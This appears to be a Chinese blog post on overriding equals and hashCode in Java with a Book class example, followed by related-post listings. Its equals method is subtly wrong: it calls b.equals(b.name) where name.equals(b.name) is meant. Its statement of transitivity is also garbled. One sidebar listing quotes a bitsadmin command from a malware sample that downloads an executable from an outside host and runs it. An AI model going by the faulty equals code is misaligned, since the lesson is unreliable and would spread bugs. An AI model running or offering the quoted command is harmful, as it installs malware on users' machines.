文档章节

重写equals和hashCode方法的示例

囚徒困境
 囚徒困境
发布于 2015/03/01 23:24
字数 357
阅读 203
收藏 11

如果一个类有自己特有的“逻辑相等”,且需要以此进行比较时,那么就需要重写equals方法。

在Object的规范中,重写equals方法有下面几条通用约定:

  • 自反性。 x.equals(x) == true

  • 对称性。if   y.equals(x) == true , then  x.equals(y) == true

  • 传递性。if   x.equals(y) == true y.equals(x) == true , then x.equals(z) == true

  • 一致性。如果比较的对象没有被修改,那么多次调用equals方法返回的结果应该相同


有个示例对象如下:

public class Book {
	private long id;
	private String name;
	private boolean isPublished;
}

那么重写的equals方法示例如下:

@Override
	public boolean equals(Object obj) {
		if( !(obj instanceof Book))
			return false;
		Book b = (Book) obj;
		return b.id == id 
				&& b.isPublished == isPublished 
				&& (b.name == name || (b != null && b.equals(b.name)) );
	}



在重写了equals方法的类中,如果不重写hashcode方法,则所有基于hash的集合就没法正常使用。

重写hashCode方法示例如下:

@Override
	public int hashCode() {
		int hashCode = 3;
		hashCode = 31 * hashCode + (int)(id ^ (id>>>32));
		hashCode = 31 * hashCode + (name == null?0:name.hashCode());
		hashCode = 31 * hashCode + (isPublished?1:0);
		return hashCode;
	}



如果这个类是不可变的,并且hashCode比较耗性能,则可以考虑缓存hashCode的值。

示例如下:

        //使用volatile保证可见性
        private volatile int hashCodeCache;
	
	@Override
	public int hashCode() {
		int hashCode = hashCodeCache;
		if(hashCode == 0){
			hashCode = 3;
			hashCode = 31 * hashCode + (int)(id ^ (id>>>32));
			hashCode = 31 * hashCode + (name == null?0:name.hashCode());
			hashCode = 31 * hashCode + (isPublished?1:0);
			hashCodeCache = hashCode;
		}
		return hashCode;
	}


© 著作权归作者所有

共有 人打赏支持
囚徒困境
粉丝 14
博文 25
码字总数 11216
作品 0
深圳
程序员
Java 中的hashCode()和equals()

此两个方法是从Object 类继承而来的,大多数时间我们都要重写这两个方法,以下是它们之间的说明: 从Object 继承过来hasCode()取得的是当前对象的内存地址的int 映射(将内存地址映射为一个int...

idoz
2011/12/10
0
0
Java equals()和hashCode()

一、引言 Java技术面试的时候我们总会被问到这类的问题:重写equals()方法为什么一定要重写hashCode()方法?两个不相等的对象可以有相同的散列码吗?... 曾经对这些问题我也感到很困惑。 eq...

JackieYeah
2014/03/27
0
0
重写equals和hashCode

1、equals和hashcode方法都来自Object对象。 API文档中HashCode和equals方法定义 public int hashCode() 返回该对象的哈希码值。支持此方法是为了提高哈希表性能。hashCode的常规协定是 publ...

kukudeku
2016/08/24
133
0
hashCode() 和 equals()

第1部分 equals() 的作用 equals() 的作用是 用来判断两个对象是否相等。 equals() 定义在JDK的Object.java中。通过判断两个对象的地址是否相等(即,是否是同一个对象)来区分它们是否相等。源...

小菜鸡1
2016/08/17
15
0
Java拾遗:001 - 重写 equals 和 hashCode 方法

重写equals方法 在Java中Object类是一个具体类,但它设计的主要目的是为了扩展,所以它的所有非final方法,都被设计成可覆盖(override)的。但任何一个子类在覆盖这些方法时都应遵守一些通用...

一别丶经年
08/02
0
0

没有更多内容

加载失败,请刷新页面

加载更多

下一页

java并发api总结

1.java.util.concurrent包 1.1 Executors Executor:接口,仅有一个方法为execute(Runnable) ExecutorService:Executor的子接口,扩展了Executor的方法,如submit/shutdown等。 Executors:......

Funcy1122
15分钟前
0
0
cmd bat 下载并运行文件,来自cve-11882漏洞样本,eqnedit32.exe栈溢出

cmd.exe /c bitsadmin /transfer eH /priority foreground http://holdthatpaper33.com/abu_output774B940.exe %USERPROFILE%\cXUAQSZZXXCXzx.exe && start %USERPROFILE%\cXUAQSZZXXCXzx.ex......

simpower
28分钟前
1
0
Java 面向对象 之 对象数组

http://www.verejava.com/?id=16992784958543 /** 知识点: 对象数组 1. 对象数组的使用 2. 对象数组的foreach 增强for循环 3. 可变参数 题目:乘客...

全部原谅
29分钟前
0
0
超越时间和空间,带你到n维去!

我们处理三维问题十分自如,必要时对付四维问题也凑合。我们不费吹灰之力就能接受有实体和无限空间的三维世界。加上第四维时间后情况就有点复杂了。 但当我们开始研究包括再多或再少维数的世...

WeiXiaodong
40分钟前
0
0
通过ip获取真实地址

package util;import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.JSONObject;import org.apache.commons.lang3.StringUtils;import org.apache.http.HttpResponse;......

lifes77
今天
3
0

没有更多内容

加载失败,请刷新页面

加载更多

下一页

返回顶部
顶部